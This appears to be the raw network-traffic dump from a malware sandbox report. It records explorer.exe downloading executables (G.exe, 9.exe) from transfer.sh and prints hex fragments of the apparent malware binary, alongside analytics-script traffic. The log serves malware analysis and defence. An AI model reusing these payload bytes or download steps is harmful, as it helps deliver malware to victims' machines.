20 20 20 20 20 20 20 20 20 20 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 
Data Ascii: yTagName("script")[0];                    s = d.createElement("script");                    s.type = "text/javascript";                   
 s.src = "//an.yandex.ru/system/context.js";                    s.async = true;                    t.parentNode.

2022-01-14 11:22:58 UTC 533 IN Data Raw: 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 71 38 69 2f 58 2b 39 36 35 44 7a 4f 30 72 54 37 61 62 4b 34 31 4a 
53 74 51 49 41 71 56 67 52 56 7a 70 62 7a 6f 35 73 6d 58 4b 70 34 59 66 52 76 48 2b 38 61 62 74 54 45 31 50 69 36 6a 
69 7a 6f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 
73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 
3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 64 6f 63 73 2f 34 2e 33 2f 61 73 73 65 74 73 2f 6a 73 2f 76 65 6e 64 6f 72 2f 6a 
71 75 65 72 79 2d 73 6c 69 6d 2e 6d 69 6e 2e 6a 73 22 3e 3c 5c 2f 73 63 72 69 70 74 3e 27 29 0a 3c 2f 73 63 72 69 70 74 
3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 
Data Ascii: grity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossori
gin="anonymous"></script><script>window.jQuery || document.write('<script src="/docs/4.3/assets/js/vendor/jquery-slim.mi
n.js"><\/script>')</script><script src="/js/

2022-01-14 11:22:58 UTC 534 IN Data Raw: 76 65 69 6e 74 65 72 6e 65 74 2e 72 75 2f 63 6c 69 63 6b 22 20 27 2b 0a 20 20 20 20 20 20 20 20 20 20 20 20 
27 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 63 6f 75 6e 74 65 72 2e 79 61 64 
72 6f 2e 72 75 2f 68 69 74 3f 74 34 34 2e 31 31 3b 72 27 2b 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 73 63 61 70 65 28 
64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 2b 28 28 74 79 70 65 6f 66 28 73 63 72 65 65 6e 29 3d 3d 27 75 
6e 64 65 66 69 6e 65 64 27 29 3f 27 27 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 3b 73 27 2b 73 63 72 
65 65 6e 2e 77 69 64 74 68 2b 27 2a 27 2b 73 63 72 65 65 6e 2e 68 65 69 67 68 74 2b 27 2a 27 2b 28 73 63 72 65 65 6e 
2e 63 6f 6c 6f 72 44 65 70 74 68 3f 0a 20 20 20 20 20 20 20 20 20 
Data Ascii: veinternet.ru/click" '+            'target="_blank"><img src="//counter.yadro.ru/hit?t44.11;r'+            escape(docu
ment.referrer)+((typeof(screen)=='undefined')?'':                ';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?         

2022-01-14 11:22:58 UTC 536 IN Data Raw: 70 65 72 61 5d 22 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 2e 61 64 64 45 76 65 6e 
74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 20 66 2c 20 66 61 6c 73 65 29 3b 
0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 20 66 28 29 3b 20 7d 0a 20 20 20 20 20 20 20 20 7d 29 
28 77 69 6e 64 6f 77 2c 20 64 6f 63 75 6d 65 6e 74 2c 20 22 5f 74 6f 70 31 30 30 71 22 29 3b 0a 20 20 20 20 3c 2f 73 63 
72 69 70 74 3e 0a 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 63 6f 75 
6e 74 65 72 2e 72 61 6d 62 6c 65 72 2e 72 75 2f 74 6f 70 31 30 30 2e 63 6e 74 3f 70 69 64 3d 36 36 37 33 31 35 35 22 20 
61 6c 74 3d 22 d0 a2 d0 be d0 bf 2d 31 30 30 22 20 2f 3e 0a 20 
Data Ascii: pera]") {                d.addEventListener("DOMContentLoaded", f, false);            } else { f(); }        })(window, 
document, "_top100q");    </script><noscript>        <img src="//counter.rambler.ru/top100.cnt?pid=6673155" alt="-100" /> 

2022-01-14 11:22:58 UTC 536 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.5 49876 144.76.136.153 443 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

2022-01-14 11:22:58 UTC 536 OUT GET /get/QbPlFD/G.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: transfer.sh

2022-01-14 11:22:58 UTC 536 IN HTTP/1.1 404 Not Found
Server: nginx/1.14.2
Date: Fri, 14 Jan 2022 11:22:58 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 10
Connection: close
Retry-After: Fri, 14 Jan 2022 12:23:02 GMT
X-Content-Type-Options: nosniff
X-Made-With: <3 by DutchCoders
X-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18
X-Ratelimit-Limit: 10
X-Ratelimit-Rate: 600
X-Ratelimit-Remaining: 9
X-Ratelimit-Reset: 1642159382
X-Served-By: Proudly served by DutchCoders

2022-01-14 11:22:58 UTC 537 IN Data Raw: 4e 6f 74 20 46 6f 75 6e 64 0a 
Data Ascii: Not Found

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.5 49884 144.76.136.153 443 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

2022-01-14 11:23:04 UTC 537 OUT GET /get/wdOcdg/9.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: transfer.sh

2022-01-14 11:23:04 UTC 537 IN HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 14 Jan 2022 11:23:04 GMT
Content-Type: application/x-ms-dos-executable
Content-Length: 356864
Connection: close
Content-Disposition: attachment; filename="9.exe"
Retry-After: Fri, 14 Jan 2022 12:23:08 GMT
X-Made-With: <3 by DutchCoders
X-Ratelimit-Key: 127.0.0.1,84.17.52.18,84.17.52.18
X-Ratelimit-Limit: 10
X-Ratelimit-Rate: 600
X-Ratelimit-Remaining: 9
X-Ratelimit-Reset: 1642159388
X-Remaining-Days: n/a
X-Remaining-Downloads: n/a
X-Served-By: Proudly served by DutchCoders

2022-01-14 11:23:04 UTC 537 IN Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fd 75 73 5a 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 
02 32 00 12 01 00 00 5c 04 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELusZ2\0@

2022-01-14 11:23:04 UTC 553 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd 00 
00 00 00 9c 58 bd 00 00 00 00 89 c1 35 00 00 20 00 50 9d 9c 58 31 c8 74 3e b8 01 00 00 00 0f a2 89 d0 25 00 00 80 00 
74 2e 83 cd 02 89 d0 25 00 00 00 02 74 0f 83 cd 08 89 d0 25 00 00 00 04 74 03 83 cd 10 b8 01 00 00 80 0f a2 89 d0 25 00 
00 00 80 74 03 83 cd 04 89 e8 c3 cc cc cc cc 52 51 e8 b9 96 00 00 c3 52 51 e8 01 97 00 00 c3 ff 25 70 74 41 00 ff 25 b4 
74 41 00 ff 25 b8 74 41 00 ff 25 bc 74 41 00 ff 25 c0 74 41 00 ff 25 c4 74 41 00 ff 25 c8 74 41 00 ff 25 cc 74 41 00 ff 25 d0 
74 41 00 ff 25 d4 74 41 00 ff 25 d8 74 41 00 ff 25 dc 74 41 00 ff 25 e0 74 41 00 ff 25 e4 74 41 00 ff 25 e8 74 41 00 ff 25 ec 
74 41 00 ff 25 f0 74 41 00 ff 25 f4 74 41 00 ff 25 
Data Ascii: X5 PX1t>%t.%t%t%tRQRQ%ptA%tA%tA%tA%tA%tA%tA%tA%tA%tA%tA%tA%tA%tA%tA%tA%tA%tA%

2022-01-14 11:23:04 UTC 569 IN Data Raw: 38 81 41 00 85 c0 74 24 50 ff 15 08 76 41 00 85 c0 74 19 56 ff 35 38 81 41 00 ff 15 0c 76 41 00 c7 05 3c 81 41 
00 01 00 00 00 eb 06 89 35 3c 81 41 00 56 ff 35 6c 80 41 00 56 e8 53 04 00 00 8b 35 10 76 41 00 50 68 82 00 00 00 68 2c 
01 00 00 6a 01 ff d6 99 2b c2 d1 f8 83 e8 41 50 6a 00 ff d6 8b 35 14 76 41 00 99 2b c2 d1 f8 2d 96 00 00 00 50 68 00 00 
c8 10 53 ff 35 08 71 41 00 6a 00 ff d6 8b d8 85 db 0f 84 ef 01 00 00 8d 44 24 10 50 6a eb 53 ff 15 18 76 41 00 33 c0 50 ff 
35 6c 80 41 00 50 53 6a 16 68 18 01 00 00 6a 0a 6a 0a 68 0b 00 00 50 ff b4 24 98 00 00 00 68 64 30 41 00 50 ff d6 8b 35 
1c 76 41 00 6a 01 ff 35 24 81 41 00 a3 34 81 41 00 6a 30 50 ff d6 f6 84 24 80 00 00 00 01 74 03 6a 20 5d 6a 00 ff 35 6c 
80 41 00 81 cd 80 00 01 50 6a 0a 53 6a 15 68 13 01 
Data Ascii: 8At$PvAtV58AvA<A5<AV5lAVS5vAPhh,j+APj5vA+-PhS5qAjD$PjSvA3P5lAPSjhjjhP$hd0AP5vAj5$A4Aj0P$tj 
]j5lAPjSjh

2022-01-14 11:23:04 UTC 585 IN Data Raw: fe 8b cf f7 d1 23 ca 8d af b1 5b ff ff 8b c6 23 c7 0b c8 8b c7 81 c1 01 95 46 fd 03 4c 24 3c 03 d9 c1 cb 0a 03 df 
23 c3 8b cb f7 d1 23 ce 0b c8 8b c3 81 c1 d8 98 80 69 03 4c 24 40 03 d1 c1 c2 07 03 d3 23 c2 8b ca f7 d1 23 cf 0b c8 8d 
ba 22 11 90 6b 81 c1 af f7 44 8b 03 4c 24 44 03 f1 c1 c6 0c 03 f2 8b ce 8b c6 f7 d1 23 c2 23 cb 0b c8 8b c6 03 4c 24 48 03 
e9 c1 cd 0f 03 ee 8b cd 89 6c 24 14 f7 d1 23 c5 23 ca 0b c8 8b c5 81 c1 be d7 5c 89 03 4c 24 4c 03 d9 c1 cb 0a 03 dd 8b 
cb 89 5c 24 18 f7 d1 23 c3 23 ce 0b c8 8b c3 03 4c 24 50 03 f9 c1 c7 07 03 fb 8b cf 89 7c 24 1c f7 d1 23 c7 23 cd 8d ae 93 
71 98 fd 0b c8 03 4c 24 54 03 e9 c1 c5 0c 03 ef 8b f5 f7 d6 8b ce 23 cb 8b c5 8b 5c 24 14 23 c7 0b c8 81 c3 8e 43 79 a6 03
4c 24 58 8b c5 03 d9 c1 cb 0f 03 dd 23 c3 
Data Ascii: #[#FL$<##iL$@##"kDL$D##L$Hl$##\L$L\$##L$P|$##qL$T#\$#CyL$X#
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2022-01-14 11:23:04 UTC 601 IN Data Raw: 00 8b 1c 8d d0 45 41 00 33 1c 85 d0 49 41 00 83 ef 20 8b c2 c1 e8 18 33 1c 85 d0 41 41 00 0f b6 c2 33 1c 85 
d0 4d 41 00 33 5e 10 83 c6 14 8b cb 89 74 24 18 c1 e9 10 8b c3 c1 e8 08 81 e1 ff 00 00 00 25 ff 00 00 00 8b 14 8d d0 45 
41 00 33 14 85 d0 49 41 00 8b c3 c1 e8 18 33 14 85 d0 41 41 00 0f b6 c3 8b de 33 14 85 d0 4d 41 00 33 13 83 c3 04 8b c2 
8b ca c1 e8 10 25 ff 00 00 00 c1 e9 08 81 e1 ff 00 00 00 8b 04 85 d0 45 41 00 33 04 8d d0 49 41 00 8b ca c1 e9 18 33 04 
8d d0 41 41 00 0f b6 ca 33 04 8d d0 4d 41 00 4d 0f 85 01 fe ff ff 5d 83 ff 04 72 50 8b f7 c1 ee 02 8d 64 24 00 33 03 83 ef 
04 8b d0 8b c8 c1 ea 10 83 c3 04 81 e2 ff 00 00 00 c1 e9 08 81 e1 ff 00 00 00 8b 14 95 d0 45 41 00 33 14 8d d0 49 41 00 
8b c8 c1 e9 18 0f b6 c0 33 14 8d d0 41 41 00 33 14 85 
Data Ascii: EA3IA 3AA3MA3^t$%EA3IA3AA3MA3%EA3IA3AA3MAM]rPd$3EA3IA3AA3

2022-01-14 11:23:04 UTC 617 IN Data Raw: 88 5f ef 5d 4f 46 f4 6c 0e 6d d9 3f cd 74 c2 0e 8c f3 5a 12 43 ea 41 23 02 c1 6c 70 c1 d8 77 41 80 97 36 d7 47 
8e 2d e6 06 a5 00 b5 c5 bc 1b 84 84 71 41 8a 1a 68 5a bb 5b 43 77 e8 98 5a 6c d9 d9 15 2d 4f 1e 0c 36 7e 5f 27 1b 2d 9c 
3e 00 1c dd b9 98 00 12 a0 83 31 53 8b ae 62 90 92 b5 53 d1 dd f4 c5 16 c4 ef f4 57 ef c2 a7 94 f6 d9 96 d5 ae 07 bc e9 
b7 1c 8d a8 9c 31 de 6b 85 2a ef 2a ca 6b 79 ed d3 70 48 ac f8 5d 1b 6f e1 46 2a 2e 66 de 36 e1 7f c5 07 a0 54 e8 54 63 
4d f3 65 22 02 b2 f3 e5 1b a9 c2 a4 30 84 91 67 29 9f a0 26 e4 c5 ae b8 fd de 9f f9 d6 f3 cc 3a cf e8 fd 7b 80 a9 6b bc 99 
b2 5a fd b2 9f 09 3e ab 84 38 7f 2c 1c 24 b0 35 07 15 f1 1e 2a 46 32 07 31 77 73 48 70 e1 b4 51 6b d0 f5 7a 46 83 36 63 
5d b2 77 cb fa d7 4e d2 e1 e6 0f f9 cc b5 cc e0 d7 
Data Ascii: _]OFlm?tZCA#lpwA6G-qAhZ[CwZl-O6~_'->1SbSW1k**kypH]oF*.f6TTcMe"0g)&:{kZ>8,$5*F21wsHpQkzF6c]wN

2022-01-14 11:23:04 UTC 633 IN Data Raw: 30 e0 54 df 20 6a 70 80 1a f7 8c f4 ca a5 d6 6f f2 cf 42 e4 e9 ea ce eb a4 97 07 1b 1e 9c 99 25 10 e8 11 bb 0a 
dd c2 8f 2d 01 f8 f7 90 39 25 1a 84 76 47 27 23 f3 ff bf 98 8a d7 41 4a c0 66 e0 96 ad 04 e1 ae 50 b8 e0 a7 95 0b 1b 01 b5 
c0 b8 a3 8c 8d d1 eb 01 77 78 01 4d 5d a4 7e 85 ab 21 5b 9d 0c 84 6d 20 5d 42 8a 00 b5 36 0b ec 3f 0d 44 27 ac b7 f3 4d 
d9 1a a1 ec 3c ae d6 ac 88 8f 8d 94 66 28 b1 23 95 62 b7 1a e6 de 73 5b d2 84 52 0b 34 7d cf 66 ef 5a 28 6b 38 42 d0 a2 
45 0c 2a 7b 75 89 b1 15 c5 7b 6b 9e 09 7b ee 18 cd 5c 25 8c 92 72 88 6e 9b 68 27 1b 10 29 99 32 10 43 cd 56 24 cc ca 
81 3f a2 8c 4c ca 98 73 3c 50 91 43 6f 89 0e 84 18 c0 a4 7d a3 a1 e1 ff fc 59 65 e1 f7 a2 2f db af 76 53 05 03 d2 de 60 76 
8b a5 50 2f 23 ba 1f ad 9d 98 b6 b4 1f 62 dc 76 26 
Data Ascii: 0T jpoB%-9%vG'#AJfPwxM]~![m ]B6?D'M<f(#bs[R4}fZ(k8BE*{u{k{\%rnh')2CV$?Ls<PCo}Ye/vS`vP/#bv&

2022-01-14 11:23:04 UTC 649 IN Data Raw: 34 08 5a dc 2a 84 38 3c 4d ca 7b f1 8a 38 41 c2 35 65 86 9f 0b a7 de 5d ce 4f bf 85 33 7a 7f 29 ef 79 2b 37 ec 
b9 17 2c b6 09 a3 58 de 3c 65 2c ef d0 63 db 11 8c 9b 28 81 d2 6a 8d cd 42 36 02 4b b3 ca 20 0d 40 44 7c dc 38 8a e5 87 
02 4e 6f fa 78 fc e1 a6 13 91 1e b8 ce cd 0f f8 7d 50 1e c5 ca dd d4 1a 08 f4 9b bb 88 87 19 e9 45 d7 49 73 67 6f 68 7c 7e 
cc 27 d7 c9 2c b9 48 a3 28 77 66 6d a9 45 8f f4 d8 dc fd be 4d ff c2 c1 3b 7a 07 e5 2a ca 57 46 fb f3 6a cc d9 0b 70 e8 2c 
fb dd b4 e4 ed ba de 9e dd 5e 6f 84 9a d5 e7 2c 88 48 87 f3 26 41 2b 07 97 f9 81 45 ac 3f 3a 14 eb 04 6a 21 ee 28 05 f9 
16 98 1d 75 0b f3 4f 5a 01 d1 7c b2 b6 65 5d c8 28 8c 45 e6 fa 1a c7 f7 80 28 f2 fe 51 46 16 54 d8 8c bc ad 02 a4 a2 27 21 
83 40 97 45 9e 7d f0 59 b4 de c1 8d 39 61 6e 
Data Ascii: 4Z*8<M{8A5e]O3z)y+7,X<e,c(jB6K @D|8Nox}PEIsgoh|~',H(wfmEM;z*WFjp,^o,H&A+E?:j!(uOZ|e](E(Q
FT'!@E}Y9an

2022-01-14 11:23:04 UTC 665 IN Data Raw: 5a 7b 45 94 f1 a9 55 2a a0 d2 a6 8d f6 d6 42 fe c4 0e ea a6 cc 35 de 92 55 a6 14 5e da 1a a4 fc 97 e6 70 2e 
29 1f 29 7f cf 54 d2 99 c2 05 4f c1 84 ad 85 63 06 f5 73 32 0c 41 1a 0d 94 a8 04 de 47 92 7a 99 88 ca 48 04 44 fc 11 de 7c 
88 6d 3f 34 46 ec 2c b3 e6 cd 50 5b de 74 1a 6e 12 28 f4 0c 5e 3b 86 04 c0 7d 5f 72 76 65 80 05 20 57 1b 6c 81 3b 8a 49 
e4 4f 1f c4 57 6a ff f6 93 b0 4e 39 af c8 f4 d3 a3 f5 b9 5a 90 3c b3 56 63 ff 05 1e 38 dd 82 c5 21 75 a0 e2 ae be 79 ac 5a 
1a c8 1b db 06 bd 5b c5 9a f3 7f 46 0b 1a ec ce 42 9c 37 8b bc 35 57 5b a1 22 f0 25 55 a4 e3 66 b4 6b b0 88 c0 cb 75 15 
d3 58 cd 61 8a 64 ce 8d da bd 30 48 cb 0d 39 d6 1f e9 b7 0a 15 77 75 cb 2c b6 87 b2 3b d0 78 76 b1 2c d2 69 e2 88 d6 
e2 c2 2e fa 93 61 c3 92 3e 48 ea 0c 34 31 b6 eb 45 3a 
Data Ascii: Z{EU*B5U^p.))TOcs2AGzHD|m?4F,P[tn(^;}_rve Wl;IOWjN9Z<Vc8!uyZ[FB75W["%UfkuXad0H9wu,;xv,i.
a>H41E:

2022-01-14 11:23:04 UTC 681 IN Data Raw: 0f 17 68 7c a1 97 f5 f0 80 a3 f6 47 c8 78 8d 2a 8b a3 11 9b bd af 59 ae e5 79 fe 83 65 d2 60 b0 26 9c 4d cc b7 
36 39 4b 76 67 36 66 22 dc a0 12 ec 63 f8 45 8a 5f d5 f2 24 25 28 50 89 ec fb 4d 2b 73 ce 16 d4 02 e6 9d e1 ca fd ac 71 df
ae d2 a5 f8 ca bc 92 a6 45 33 87 91 88 e2 f6 4a 90 68 2b 4f 13 5f dc 5d 4b 0e fd 92 0e 97 20 2b db fb 26 6c a0 f5 c4 e2 6d 
a0 49 4f 23 67 9e bc 34 01 80 29 6b f2 0e 03 66 f0 c4 88 d7 bb 83 24 78 39 12 ef 45 b8 25 e6 69 19 f2 bc d9 c7 b9 70 d1 
33 c2 75 da 46 71 13 37 d8 21 bf fd d9 0e fa 53 07 03 39 1b a5 e7 45 44 c2 c2 d2 a1 73 54 41 91 4d c4 7a 86 6e 59 f1 5f 
72 48 be fe db 4d ee 63 14 8d 1a ce fe 04 8a 39 c9 49 90 c8 4d bd 30 f1 36 76 ab b2 44 b8 cd bb f0 21 db 19 8b 02 e3 ef 
ec 57 b5 93 d3 a6 ed b6 18 8c 7f 9a 79 ae af b9 
Data Ascii: h|Gx*Yye`&M69Kvg6f"cE_$%(PM+sqE3Jh+O_]K +&lmIO#g4)kf$x9E%ip3uFq7!S9EDsTAMznY_rHMc9IM06vD
!Wy

2022-01-14 11:23:04 UTC 697 IN Data Raw: b5 8a eb f2 07 86 77 4f f7 7d f5 ac 04 18 06 01 ef b1 ff 5f d9 39 8e a4 49 19 a3 cf 8d cd d3 eb b2 43 20 e4 46 
4e 85 26 43 87 a8 c8 8d 4a 8c 15 dc e9 27 8a 5e 71 a2 28 56 81 82 dd 81 d5 9c 98 d6 ba 42 56 8f 37 ec f2 43 cc 23 b0 44 
c1 e1 a9 f4 b7 c5 bd 3f 89 87 d2 d3 15 5f 84 a2 dc 7f 46 88 73 80 77 71 aa 92 dc 26 61 81 2d 2b ea c5 8e 5b 8a ee 1e 66 
7a 67 a6 c2 36 c6 92 1f 83 97 df 15 a9 c0 e4 67 fc f7 8c 7c 90 c7 54 7f 8d db a2 00 14 ab 61 10 e6 2a b8 12 ff b4 61 ed fa 
92 b4 eb 2a 50 f4 2c a8 4d 20 74 41 34 ca 41 2b fe 07 10 a6 72 a2 05 33 9c 7b be 25 5f 8c 66 ad 27 b6 42 57 bc 6b e0 23 
1d fe 27 d5 77 cd fa 08 8d 37 50 69 4c 38 77 d5 86 c4 ea d6 02 af b1 81 83 be db 7f f9 34 b9 94 6a 6c 97 3c 5b 1e d9 30 
8e 81 cf 95 6e 20 45 54 70 6d a1 7b 3d ba 1c c4 f7 
Data Ascii: wO}_9IC FN&CJ'^q(VBV7C#D?_Fswq&a-+[fzg6g|Ta*a*P,M tA4A+r3{%_f'BWk#'w7PiL8w4jl<[0n ETpm{=

2022-01-14 11:23:04 UTC 713 IN Data Raw: e9 16 91 eb 51 09 5d f9 29 bf 17 cb 46 3d 4f db c4 6c 11 97 38 df 85 5f 26 67 e5 58 5e 18 bd 7c e7 d8 37 05 d9 
e7 22 72 d5 b1 a6 0d 81 df c8 9c ef 41 39 0d d3 d8 51 71 f3 60 53 ac 15 77 b9 65 6c 35 db aa 8c 89 0a f6 53 ff 3d 66 83 c8 
96 3a df 04 20 28 e3 33 cc c5 6c 7b 09 a8 ef fd ba 37 62 b2 70 07 3d 97 4d e4 80 70 a7 e4 bc d9 a2 bb a6 cd 9d 0d 75 1c 
09 74 c7 1f 1d 8b 9a 3f 03 7e fb f1 3c 23 ee 8c fa af 64 5c 5d 97 e6 e4 79 f0 a5 8a ff ed c7 02 c2 f8 b4 a7 cf 39 ea d6 68 da 
62 c7 95 79 2d 0d ba cb f4 3a 6e 9b f2 ab 73 68 e9 13 f2 6b 18 03 8e 49 f0 ce 03 75 38 8b dd 31 48 34 70 b4 d6 27 f2 49 
19 de 97 41 04 a6 f9 5c 66 2f bb 8e fd ba 9b 1c 89 26 93 cb 90 56 ec 58 ea 61 d7 d4 d8 a8 71 a6 bd 34 d7 66 bb 9c b0 9e 
8b f9 4b 7a a9 c7 82 5b a0 d4 c8 81 3d 2d ad 
Data Ascii: Q])F=Ol8_&gX^|7"rA9Qq`Swel5S=f: (3l{7bp=Mput?~<#d\]y9hby-:nshkIu81H4p'IA\f/&VXaq4fKz[=-

2022-01-14 11:23:04 UTC 729 IN Data Raw: 56 09 b5 02 78 ce 65 90 db b5 ff c3 eb 3a 4e e5 f3 06 a2 6e 0d ae 63 f7 a0 69 56 84 fb bd d9 ef ae f8 35 d9 47 
5d 2c 58 54 8f a8 05 33 af c0 d3 9a 48 5a 1a 1c 5b f7 e9 fe c6 47 b0 d1 93 d7 4b 7f ba e4 0b 82 cb e5 5e c4 1e 09 15 fc 45 
92 b7 9b ad 19 6c 26 ea 69 81 f8 c8 85 43 48 0c b8 03 69 7a c3 41 02 24 9c d8 41 a1 3a 94 48 3d e7 3d 7a 6c cb 73 ca f3 
a2 e0 d4 e3 f5 f8 35 7d 6b b3 df b9 76 02 9e 25 fc 13 39 36 bf c2 eb d9 1a 43 28 6c 9b 94 1a 72 1a 70 cb 0f a8 ab ab f4 b1 
ec 8f 80 f0 64 02 dc 10 d0 fb 55 7c dc 62 2e bf bc 17 5b db ce 67 8e cd cf 0a cf 6d fa b7 2f 8b 36 95 97 bf 3e 69 5f 51 37 
68 45 0f 2d 7f d1 8a 0f 2a 81 bb 41 3b c9 3d e8 03 49 19 2a 19 ef 82 1a 78 94 fc dc 0b 29 31 16 d2 be 5f 2a 01 ee 8a b9 
ee a4 a8 94 11 6e b2 cb ee 33 0c e7 3b 18 98 
Data Ascii: Vxe:NnciV5G],XT3HZ[GK^El&iCHizA$A:H==zls5}kv%96C(lrpdU|b.[gm/6>i_Q7hE-*A;=I*x)1_*n3;

2022-01-14 11:23:04 UTC 745 IN Data Raw: f3 2c bd a5 d4 85 79 dc 47 2f 77 43 f0 69 ad 67 ea dd e1 f7 40 f9 6c 52 13 46 5e 16 f2 75 95 29 4b ec fd 25 3b 
6c a7 1c 54 5f 2f a6 9b 19 43 52 ae 9e 8f 0a 33 e0 b4 0b 8f 2e 75 75 ab b7 ca 41 84 af 2b f9 e1 f2 71 2d 5b 79 2e 67 83 9f 
cd 05 4a 6a f1 b4 5b 38 67 34 3d d6 3a f2 ce 63 a3 5a fd 5a 66 ab f0 08 34 c9 82 33 90 cf 67 7b e9 9f 46 a7 d7 7b 3f 76 9f 
2b 81 bc 5a 73 1c 08 e9 dd bd 56 ce d7 5d 2c 4d 9f 75 c1 86 53 ed 4c af 6a 99 d3 83 e5 ff ae d6 6c 15 75 72 33 fc 9a ac 
b5 7d 2e 8f 77 7a d9 8a d1 f6 c0 96 c8 0a ce 0d 6d df 72 fa ec 66 5e 35 42 b7 ee 1e 80 ff 50 dc 27 53 99 1a 6d d1 9e 0b cb 
6e 87 79 74 d7 ff f9 13 8b 81 fb 80 3b 95 01 25 15 fa e5 9e 47 9c d2 ab f0 66 94 04 3c 6b 51 b8 58 b9 c8 7a ad 0d 38 84 
60 32 8e 69 54 67 ed 07 a0 db 69 4f ba 70 13 
Data Ascii: ,yG/wCig@lRF^u)K%;lT_/CR3.uuA+q-[y.gJj[8g4=:cZZf43g{F{?v+ZsV],MuSLjlur3}.wzmrf^5BP'Smnyt
;%Gf<kQXz8`2iTgiOp

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:04 UTC 761 IN Data Raw: 43 4c eb b4 10 1a 73 de 42 e3 ee 6f 95 cb b8 6b ce 82 81 1d 74 e4 85 19 31 ac ca bb 47 2f 8d 82 92 7a 95 2c 
15 c0 a3 4d 94 7d f9 a1 e1 37 77 89 f1 71 c2 34 f2 a9 8c 46 9d e0 89 97 7f a2 61 a1 13 81 ff 2e 27 eb 5d 36 2d 6a d1 e7 
65 86 ee d1 66 a3 45 d6 73 f3 e1 7e b2 b1 09 5c 87 bc 68 d9 ee 57 6a dc 36 73 34 b0 90 ce be 90 ab 16 65 13 08 34 d9 
24 78 f3 0c 35 89 ca 67 dd 4b 8b 86 43 6a 89 aa bf f4 64 fc d4 ac df 94 7c ec 26 b1 00 b7 60 c6 6e 3b 69 8b a9 8e fc 54 93 
1c 7d 48 ff 5d f9 ac a0 25 b8 01 f1 96 ea 22 4d c0 8e 18 d7 23 66 64 1e 3d 3e 23 f8 b4 d9 29 74 48 92 ac 2b cf 8d ad de 
19 1f 6f a5 60 ca 7d 82 9a 9d e6 46 ac 07 e4 6b 89 bc 0b 62 d9 8e 01 dd e0 04 23 0b 82 17 3b b6 28 5a f8 e8 87 29 6d 69 
a6 98 f4 14 52 b2 5b 6e 77 80 66 6f 3a b3 60 71 c3 b1 df 
Data Ascii: CLsBokt1G/z,M}7wq4Fa.']6-jefEs~\hWj6s4e4$x5gKCjd|&`n;iT}H]%"M#fd=>#)tH+o`}Fkb#;(Z)miR[nwfo:`q

2022-01-14 11:23:04 UTC 777 IN Data Raw: a3 c0 3e 40 0d 0c aa 07 b0 02 b1 2a 1a 8f 87 60 33 c2 e4 e9 71 85 4f 41 98 a8 67 3b a9 ba 89 08 6a f2 5b 4a 
8f ef 01 2c 16 5f 62 2f 8d 98 ab 9e dc 8a 79 44 bc a0 f9 05 24 7f 2a 81 b7 15 e5 0d 8c ae 2d f2 da 38 cd 8f 12 a4 2d 44 10 
54 46 65 9b 02 63 6e 14 e2 22 8e 6e 0b a6 49 fd 06 2b fd 2a 98 b6 b9 c3 b2 c7 1e e1 96 82 8d f8 0f 27 0e b8 29 b0 77 e4 
